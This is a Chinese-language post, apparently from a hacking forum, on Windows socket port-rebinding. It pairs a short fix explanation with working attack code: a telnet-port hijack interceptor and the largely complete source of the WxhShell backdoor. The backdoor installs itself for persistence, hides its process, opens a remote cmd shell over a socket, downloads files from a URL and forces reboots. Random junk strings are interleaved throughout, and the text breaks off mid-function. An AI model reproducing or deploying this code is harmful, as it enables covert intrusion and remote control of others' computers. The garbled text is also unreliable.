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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nO
[QcOf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KgU[ YPQCOG saddr.sin_family = AF_INET; ~%G Ssm\J
* D3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); WFdem/\kX Prt#L8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JWSq"N gT7I9 (x!W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $y4M#yv :+A;TV 这意味着什么?意味着可以进行如下的攻击: 9jjL9f_3 zf")|9j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g{&PrE'e9 m2MPWy5s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <^'{ G 2 ^ kn5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4+,*sn <M>#qd@c
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %>]#vQ| =z%s8D2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m-#d8sD2C ]=pWZ~A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3DHvaq q7 ,,2_/u\"/i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L`bo#,eg6 ~l4Q~' #include Cj=J;^vf #include b6$4Ul-. #include @%7/2k #include X)FQ%(H< DWORD WINAPI ClientThread(LPVOID lpParam); g&8 .A( int main() W.sD2f { ,DQ
>&_DK WORD wVersionRequested; ],#ZPUn DWORD ret; m&{rBz0 WSADATA wsaData; $q=hcu BOOL val; ^:$j:w?j SOCKADDR_IN saddr; PE +qYCpP9 SOCKADDR_IN scaddr; )%1&/uN) int err; M{y|7e%K SOCKET s; zkvH=wL SOCKET sc; m
R"9&wq int caddsize;
2fbvU HANDLE mt; LDSbd,GF DWORD tid; /XC;.dLA# wVersionRequested = MAKEWORD( 2, 2 ); aGe \.A= err = WSAStartup( wVersionRequested, &wsaData ); $M%}Oz3* if ( err != 0 ) { 2}1!WIin printf("error!WSAStartup failed!\n"); |oB]6VS` return -1; 34^Q5B~^J } SwQOFE/Dv~ saddr.sin_family = AF_INET; @V*au: csm?oU niz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >EyvdX#v fG^7@Jw:G saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I[vME" saddr.sin_port = htons(23); 7jD@Gp`" 3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e1Dj0s?i~K { ]oo|o1H87 printf("error!socket failed!\n"); H==X0 return -1; W'8J<VBD } ;%lJD"yF val = TRUE; J78Qj[v //SO_REUSEADDR选项就是可以实现端口重绑定的 }:tAKO=+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1Z=;Uy\ { Gu<W:n[ printf("error!setsockopt failed!\n"); i,^>uf return -1; LjX&', } N>h]mX6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YlxUx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VN1#8{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %Gnd"SGs jAsh
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vQE` c@^{ { GWVEIZ ret=GetLastError(); qsQ]M^@> printf("error!bind failed!\n"); F\I5fNs@ return -1; $XtV8 } GXGN;,7EV listen(s,2); dICnB:SSB while(1) )I^)*(} { 8Fyc#Xo8 caddsize = sizeof(scaddr); B>c[Zg1 //接受连接请求 ](idf(j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 99=[>Ck)G if(sc!=INVALID_SOCKET) GA}hp% { kjQIagw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); })Ix.!p if(mt==NULL) eU<]h>2 { w/)e2CH printf("Thread Creat Failed!\n"); 2*b#+ b break; !^rITiy } gt(X!iN] } :"h
Pg]' CloseHandle(mt); m(Pz7U.Q } 3g4vpKg6c closesocket(s); w;g)Iy6x WSACleanup(); O p! return 0; i|::vl } )L&n)w DWORD WINAPI ClientThread(LPVOID lpParam) j=zU7wz)D { /i\uwa, SOCKET ss = (SOCKET)lpParam; 6tCV{pgm SOCKET sc; g0[<9.ke unsigned char buf[4096]; pb $ An<P SOCKADDR_IN saddr; Lcm~QF7cd long num; P W0q71 DWORD val; w0F:%:/ DWORD ret; Rq~
>h99M //如果是隐藏端口应用的话,可以在此处加一些判断 n:{-Vvt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 bs4fyb saddr.sin_family = AF_INET; 23.y3t_? saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mRix0XBI~ saddr.sin_port = htons(23); l[ZQ7$kL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !IQfeoT { x(T!I&i={ printf("error!socket failed!\n"); 'npT+p$V return -1; I3F6-gH } 6jQ&dN{=qB val = 100; ;+#za?w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &eLQ;<qO*| { %m0L!|E ret = GetLastError(); #Q!c42}M return -1; s0`]!7D< } ]-+.lR%vd9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &9GR2GY { /;]B1T7 ret = GetLastError(); JCQx8;V%I return -1; +)''l } 96([V|5K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7J</7\ { -hJ>wGI printf("error!socket connect failed!\n"); HquB*=^xh closesocket(sc); n8y ,{| closesocket(ss); \I`=JKYT return -1; 6>P } xhp-4 while(1) !Barc,kA { [f0oB$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )e <! =S //如果是嗅探内容的话,可以再此处进行内容分析和记录 r5fz6" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :p*ojl| num = recv(ss,buf,4096,0); dcc%G7w if(num>0) ]CtoK%k send(sc,buf,num,0); d"e%tsj else if(num==0) DftGy:Ah3 break; 0wa!pE" num = recv(sc,buf,4096,0); Ot8S'cB1,$ if(num>0) !<UEq`2 send(ss,buf,num,0); Z1MJ!{@6 else if(num==0) ?AM8*w break;
DFZ:.6p } S
&lTKYP closesocket(ss); %I2xK.8= closesocket(sc); Z ^9{Qq return 0 ; AcfkY m~ } ]I.& .?^i0 7T(OV<q;# O'yjB$j ========================================================== ofJ]`]~VG JQVw6*u{ 下边附上一个代码,,WXhSHELL zi DlJ3]^ {"@b` ========================================================== r&l*.C* Q i'WV9ke #include "stdafx.h" ,VcDvZ7 BD-c 0-+m #include <stdio.h> ,oi`BOh #include <string.h> wDC/w[4: #include <windows.h> 0qV*d #include <winsock2.h> fG[3%e #include <winsvc.h> DJ2]NA$Q* #include <urlmon.h> ~IJZM`gN >7v.`m6?H #pragma comment (lib, "Ws2_32.lib") "}~i7NBB #pragma comment (lib, "urlmon.lib") Hr8$1I$= SpTORR8 #define MAX_USER 100 // 最大客户端连接数 bQ\ -6dOtv #define BUF_SOCK 200 // sock buffer g,GbaaXH #define KEY_BUFF 255 // 输入 buffer ^xkppN2 nAba
=iW #define REBOOT 0 // 重启 F~rYjAFTi #define SHUTDOWN 1 // 关机 RNrYT| ek.WuOs #define DEF_PORT 5000 // 监听端口 _)Z7Le:f! 1b]PCNz #define REG_LEN 16 // 注册表键长度 ;h(;( #define SVC_LEN 80 // NT服务名长度 .0*CT:1=0 j7HlvoZV // 从dll定义API ~RLx; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ))+98iU1s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zt>_)&b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _*?"[TYfX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P@S;>t{TD sz2SWk^& // wxhshell配置信息 r/$)c_x` struct WSCFG { elHarey`f int ws_port; // 监听端口 LXfeXWw?, char ws_passstr[REG_LEN]; // 口令 ';CuJXAj int ws_autoins; // 安装标记, 1=yes 0=no [+cnx21{ char ws_regname[REG_LEN]; // 注册表键名 E<G@LT char ws_svcname[REG_LEN]; // 服务名 a]=vq(N'r char ws_svcdisp[SVC_LEN]; // 服务显示名 ZT6X4 Z char ws_svcdesc[SVC_LEN]; // 服务描述信息 :iOHc-x char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gW pT:tX- int ws_downexe; // 下载执行标记, 1=yes 0=no qLi1yH char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 9xS`@ "` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;>8TNB e! +(P43XO08 }; JE:n`l/p m ?"%&| // default Wxhshell configuration g l\$jDC9 struct WSCFG wscfg={DEF_PORT, E `j5y(44 "xuhuanlingzhe", /$.vHt5nt 1, mW(_FS2%, "Wxhshell", ?OYwM?Uf "Wxhshell", RDZh>K
PG "WxhShell Service", P(i2bbU "Wrsky Windows CmdShell Service", ?;#3U5$v "Please Input Your Password: ", l:Xf(TLa 1, 6l]?%0[* " http://www.wrsky.com/wxhshell.exe", Jz3<yQ- "Wxhshell.exe" x^#{2}4u }; PdN\0B` a.U:B
[v` // 消息定义模块 Gv
nclnG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V7'x?
pt char *msg_ws_prompt="\n\r? for help\n\r#>"; r~!%w(N|M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <UHWy&+z& char *msg_ws_ext="\n\rExit."; |b@A:8ss char *msg_ws_end="\n\rQuit.";
M=abJ4 char *msg_ws_boot="\n\rReboot..."; .VEfd4+ni{ char *msg_ws_poff="\n\rShutdown..."; e4H0<h
}{ char *msg_ws_down="\n\rSave to "; e%0#"6} M |kDys char *msg_ws_err="\n\rErr!"; o[r6sz: char *msg_ws_ok="\n\rOK!"; IV#f}NrfD `xAJy5 char ExeFile[MAX_PATH]; xr3PO?: int nUser = 0; 1Y"qQp HANDLE handles[MAX_USER]; Ri6 br int OsIsNt; =ZIFS eV=sDx SERVICE_STATUS serviceStatus; ./*,Thc SERVICE_STATUS_HANDLE hServiceStatusHandle;
>Pd23TsN JP*wi-8D // 函数声明 Y'H/
$M N int Install(void); eKti+n. int Uninstall(void); VP[!ji9P int DownloadFile(char *sURL, SOCKET wsh); 5$Q`P',*Ua int Boot(int flag); im[gbac void HideProc(void); Q/`o6xv int GetOsVer(void); 4^}PnU7z int Wxhshell(SOCKET wsl); }`FC__ void TalkWithClient(void *cs); 'xI+kyu int CmdShell(SOCKET sock); c Yn}we}7 int StartFromService(void); N6
(w<b int StartWxhshell(LPSTR lpCmdLine); k)' z<EL6c CIvT5^} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Bd_/A($ VOID WINAPI NTServiceHandler( DWORD fdwControl ); kL2sJX+ :+^llz // 数据结构和表定义 >b](v) SERVICE_TABLE_ENTRY DispatchTable[] = =0fx6V { OL"5A18;M {wscfg.ws_svcname, NTServiceMain}, <l/Qf[V {NULL, NULL} s/0FSv
x }; >:nJTr R:m=HS_ // 自我安装 QD VA*6F int Install(void) D)cwttH { ZGvNEjff char svExeFile[MAX_PATH]; #@"rp]1xv HKEY key; >ZsK5v strcpy(svExeFile,ExeFile); w7V
W +NMSvu_? // 如果是win9x系统,修改注册表设为自启动 Z'm%3 if(!OsIsNt) { %--5bwZi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4\WkXwoqQO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); buyz>ICP RegCloseKey(key); b:I5poI3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -7VV5W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1c~#]6[ RegCloseKey(key); e1 }0f8% return 0; iL'
]du<wk } I _G;;GF } ~mo` } _JO @O^Ndd else { X1D:{S[ X_8NW, // 如果是NT以上系统,安装为系统服务 6x8|v7cMH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wIHz TL if (schSCManager!=0) %d\+(:uu/ { *heQ@ww SC_HANDLE schService = CreateService D];([:+4 ( cSDCNc*% schSCManager, Z}S tA0F_ wscfg.ws_svcname, Fa^]\: wscfg.ws_svcdisp, p}X87Zq SERVICE_ALL_ACCESS, - $/{V&?t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Shh$iz SERVICE_AUTO_START, "g[UX{L SERVICE_ERROR_NORMAL, _I5+o\;1 svExeFile, xF+x I6 NULL, aV,J_Q6r NULL, .;6bMP[YA NULL, .1lc'gu5y NULL, l6Bd<tSH NULL zKT<QM!` ); ka[NYW{. if (schService!=0) K6hNN$F! { +q%goG8 CloseServiceHandle(schService); IvH+94[)
CloseServiceHandle(schSCManager); #+nv,?@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8#B;nyGD1I strcat(svExeFile,wscfg.ws_svcname); 2@rc&Tx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~h+3WuOv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IDZn,^ RegCloseKey(key); (E[hl return 0; xc3Q7u!| } X[6z } a a]v7d CloseServiceHandle(schSCManager); JpiKZG@L } cXH?'q'vZ } wyM3|%RZ -3Hq 1 return 1; Mpx.n]O. }
xoaQ5u FgaBwd^W // 自我卸载 jX@9849@ int Uninstall(void) CB)#;
|aDB { T+hW9pa) HKEY key; 7X>3WF A'2:(m@{T if(!OsIsNt) { inrL'z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %)V3QnBO RegDeleteValue(key,wscfg.ws_regname); HrxEC)V6# RegCloseKey(key); MLX.MUS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K.Z{4x=0 RegDeleteValue(key,wscfg.ws_regname); VUy
1?n RegCloseKey(key); <'33!8
G return 0; $<PVzW,$o } \ S R } >O=V1 } dx}!]_mlZ else { THVF@@q Kfl+8UR5= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^;bkU|(`6 if (schSCManager!=0) ~qH@Kz\% { ^\%%9jY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0}N^l=jQ if (schService!=0) Fsh-a7Qp { plAt
+*& if(DeleteService(schService)!=0) { cPSu!u}D CloseServiceHandle(schService); EbHeP CloseServiceHandle(schSCManager); 2$ =HDwv return 0; 3WS %H17 } In2D32"F CloseServiceHandle(schService); ,zaveQ~l } B%/Pn
2 CloseServiceHandle(schSCManager); \Qn8"I83AV } P2kZi=0 } MiRB*eA lvlH5Fc return 1; %iv'/B8 } wd *Jq DS fKUx& // 从指定url下载文件 \ZB;K~BV& int DownloadFile(char *sURL, SOCKET wsh) pV8,b { sEa:p:! HRESULT hr; T}* '9TB char seps[]= "/"; hV)I
C9 char *token; MRc^lYj{
char *file; IcZ 'KV char myURL[MAX_PATH]; qMkP/BjV char myFILE[MAX_PATH]; +nuQC{^> V<7Gd8rDMM strcpy(myURL,sURL); j&9~OXYv token=strtok(myURL,seps); NINiX( while(token!=NULL) F)G#\r { (@Bm2gH file=token; ]jYM;e token=strtok(NULL,seps); >J1o@0tk } _%]H}N Q %M`&}'6' GetCurrentDirectory(MAX_PATH,myFILE); ~A)$= " strcat(myFILE, "\\"); jWz-7BO strcat(myFILE, file); \?ZdUY send(wsh,myFILE,strlen(myFILE),0); JcP'+@X" send(wsh,"...",3,0); Jz6PqU|= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `}bUf epMJ if(hr==S_OK) ='FEC-f95 return 0; <~3 aaO else Cnolka" return 1; cD\Qt9EI V-31x ) } <|4j<U &zR}jD> // 系统电源模块 -'2.^a-8-g int Boot(int flag) \r2w@F{C { lc#H%Qlg HANDLE hToken; DuWP)#kg TOKEN_PRIVILEGES tkp; }y1M0^M-$ R[(,wY_1 if(OsIsNt) { U6Qeode OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {2nXItso LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z} %to0W tkp.PrivilegeCount = 1; 8Xr3q eh+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K;95M^C\O* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3O.-'U1K if(flag==REBOOT) { khR3[ju {^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I'gnw~ return 0; "~ /3 } xfzR>NU else { ^V:YNUqp# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &Fi8@0Fh return 0; Um~jp:6p } }MX`WW0\]Z } ~?p
> L else { ><=af 9T if(flag==REBOOT) { [Xrq+O, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cE3co(j return 0; 5IepVS(>?v } (7IF5g\ else { Q*wx6Pu8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %bsdC0xM return 0; sk5\"jna } rk~/^(! } 5*CwQJC< 4Vs;Y&t] return 1; y|aWUX/a } yD KX, L=$P // win9x进程隐藏模块 fkYQ3d,` void HideProc(void) OV[-m;h| { Zwcb5\Q FR <wp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eZv0"FK
X if ( hKernel != NULL ) [ /D/ { Kq*^*vWC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aH6pys!O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S.I<Hs FreeLibrary(hKernel); <[q)2 5RL } A-~)7- gp}S 1 return; k4@GjO1"$ } (X8N?tJ L]VK9qB // 获取操作系统版本 }N[sydL int GetOsVer(void) )*uI/E { bIH2cJ OSVERSIONINFO winfo; 1{wy%|H\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +X< Z
43 GetVersionEx(&winfo); }"T:z{n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a-W&/ return 1; 2vwT8/ else H$;\TG@, return 0; ZpdM[\Q- } =}L[/ RL ~2qFA2 // 客户端句柄模块 <I>q1m?KN int Wxhshell(SOCKET wsl) \KEL.}B9E { njIvVs`q SOCKET wsh; lRrOoON struct sockaddr_in client; V6!oe^a7' DWORD myID; #qPk ,a C?|gf?1p while(nUser<MAX_USER) ":Q70*xSm { us]ah~U6A int nSize=sizeof(client); xj}N;FWo wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aCMcu\rd if(wsh==INVALID_SOCKET) return 1; $lv
g.u V}(%2W5X+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K+7xjFoDIR if(handles[nUser]==0) [;2v[&Po closesocket(wsh); u66w('2 else Cr&ua|%F nUser++; &8 (2U- } N5s_o0K4TU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G6
GXC`^+ c" l~=1Dr return 0; rUyT5Vf } 4, :D4WYWD K)k!`du!6 // 关闭 socket l/`Z+]; void CloseIt(SOCKET wsh) 5p~Z-kU& { 9uq|
VU5 closesocket(wsh); A_g'9 nUser--; -uh/W=Q1R ExitThread(0); bXJE 2N
} MF1u8Yl:0 WcdU fv(> // 客户端请求句柄 3"B|w^6'2 void TalkWithClient(void *cs) w90y-^p% { "?Y0Ng[ S`-z$ph} SOCKET wsh=(SOCKET)cs; A(C3kISM char pwd[SVC_LEN]; Cjd +\7#G char cmd[KEY_BUFF]; <l\FHJhjq char chr[1]; K<t(HK#[ int i,j; > {:8c-\2} YRwS{e*u while (nUser < MAX_USER) { ]s<Q-/X aH:eu<s if(wscfg.ws_passstr) { Ji7A9Hk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;[|x5o/< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SVR AkP- //ZeroMemory(pwd,KEY_BUFF); ;zGGT^Dn i=0; 5Ph"*Rz% while(i<SVC_LEN) { ljk-xC p/ _Q7)FK // 设置超时 f[z#=zv fd_set FdRead; 3U}z?gP[ struct timeval TimeOut; CfVz' FD_ZERO(&FdRead); {d3r>Ub)7d FD_SET(wsh,&FdRead); =\q3;5[ TimeOut.tv_sec=8; rsIjpPa TimeOut.tv_usec=0; ^RY_j>i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lKm?Xu'yH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X`22Hf4ct aB$Y5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C|>#|5XaF pwd =chr[0]; 6h5*b8LxA if(chr[0]==0xd || chr[0]==0xa) { c,+oH<bZZs pwd=0; JY /Cd6\ break; pIh@!C } %7{6>6% i++; rm2TWM| } 63at
lq J${wU@_% // 如果是非法用户,关闭 socket QN0Ik 2L if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6#.R'O } 9m#`56G` -
@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &"d4J?io` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r<"1$K~Ka 44n^21k while(1) { )EO$JwQ +pDuRr ZeroMemory(cmd,KEY_BUFF); DTJ~. $ccI(J`zux // 自动支持客户端 telnet标准 yvVs9"|0 j=0; ost~<4~ while(j<KEY_BUFF) { >SccoI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b7=]"|c$@ cmd[j]=chr[0]; or(Z-8a_ if(chr[0]==0xa || chr[0]==0xd) { 5~ jGF cmd[j]=0; >bmL;)mc& break; =m:0#&t,* } }bHdU]$} j++; 8pPAEf } 03#r F@e +]B^*99 // 下载文件 "4I`.$F%O( if(strstr(cmd,"http://")) { _<xU"8b"5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); In]h+tG?rN if(DownloadFile(cmd,wsh)) GT*\gZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2<0kqj% else )=8X[<^i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bPiJCX0d } D
@T,j4o else { sgFpZk N=-hXgX^ switch(cmd[0]) { U
JY`P4( Rh,*tS // 帮助 ba|~B8rII[ case '?': { $Nnz|y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Iw)xd1d}\ break; Xv6z>z. } 8!E$0^)c| // 安装 tOS%.0W5J case 'i': { O Y /QA if(Install()) ss
|<\DE+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); omY%sQ{) else ^D"}OQoh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;,4 Z5+ break; Rm"lRkY4I[ } Spt[b.4m F // 卸载 _qM'm^z5 case 'r': { JYs*1< if(Uninstall()) NC|&7qQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |$^,e%bE else 1u'x|Un send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M'Q{2%:>a break; 7[^:[OEE } qFt%{~a
S // 显示 wxhshell 所在路径 wE;??'O'l case 'p': { @C7#xGD char svExeFile[MAX_PATH]; ,NPU0IDG> strcpy(svExeFile,"\n\r"); KhYGiVA strcat(svExeFile,ExeFile); cBiv=!n send(wsh,svExeFile,strlen(svExeFile),0); Ond"Eq=r break; M"ZP s } AZxOq !B // 重启 {PWz:\oaD case 'b': { *~4w%U4T0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rN8 ZQiJC if(Boot(REBOOT)) '9]%#^[Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); wlmi&kq else { 4f'WF5S/}8 closesocket(wsh); D3vd O2H ExitThread(0); ,m9Nd "6\ } A:0 break; L*Xn!d% } m},nKsO // 关机 ^s_E |~U case 'd': { _|x%M}O}, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %t`a-m if(Boot(SHUTDOWN)) hQ#'_%:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (SU*fD!t else {
YNH>^cD1 closesocket(wsh); V
:*GG+4 ExitThread(0); (/Hq8o-Fw } \bZbz/+D break; M
+~guTh } WQ|d;[E // 获取shell E_/v$ case 's': { Y[X5S{H`wj CmdShell(wsh); cg}46)^<QH closesocket(wsh); JIjqGxR ExitThread(0); u'<Y#bsR#/ break; 2P"@=bYT " } x.<^L] " // 退出 0[x?Q[~S_0 case 'x': { 8HxB\ !0F? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &H-39;?u CloseIt(wsh); HRC5z<k% break; gXE'3 } >rB7ms/@E // 离开 f8B*D4R} case 'q': { XK{`x< send(wsh,msg_ws_end,strlen(msg_ws_end),0); sbQmPV closesocket(wsh); RT F9;]Ti WSACleanup(); Z[slN5]([ exit(1); 1Hy break; sO~N2 } 1W"9u } JU1U=Lu." } _Oh;._PS _|g(BK2} // 提示信息 Xa Yx avq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >OBuHqC } 8n,i5>!d } Z"mpE+U* h,\^Sb5AP return; pIqPIuy } 1e _V@Vy +d2+w1o^V // shell模块句柄 7"Zr:|$U int CmdShell(SOCKET sock) e*jn7aya { ]9]3=;b> STARTUPINFO si; ghx8dX} ZeroMemory(&si,sizeof(si)); lva]jh2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,D
[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LyS139P$ PROCESS_INFORMATION ProcessInfo; f>;5ZE4Zu char cmdline[]="cmd"; tI{pu}/"# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mw\/gm_3 return 0; {o*z iZh } R5H
UgI v}M, M&? // 自身启动模式 o%+KS5v! int StartFromService(void) d_QHm;}Cx { 6<(HT#=# typedef struct .[+8D= { mRW(]OFIai DWORD ExitStatus; GLv}|>W DWORD PebBaseAddress; 4O[5, DWORD AffinityMask; k(3s^B DWORD BasePriority; uY5f mM9 ULONG UniqueProcessId; aL-V 9y ULONG InheritedFromUniqueProcessId; D@"q2 ! } PROCESS_BASIC_INFORMATION; a`~$6
"v Iu[^" PROCNTQSIP NtQueryInformationProcess; 3r%I * b,#cc>76\ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vj:)w<], static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7Aq4YjbX ]zhFFq` HANDLE hProcess; C.C\(2- Rr PROCESS_BASIC_INFORMATION pbi; RCND|X Njc3X@4= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YM1tP'4j@ if(NULL == hInst ) return 0; aCM F[
3j 66[yL(*+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H
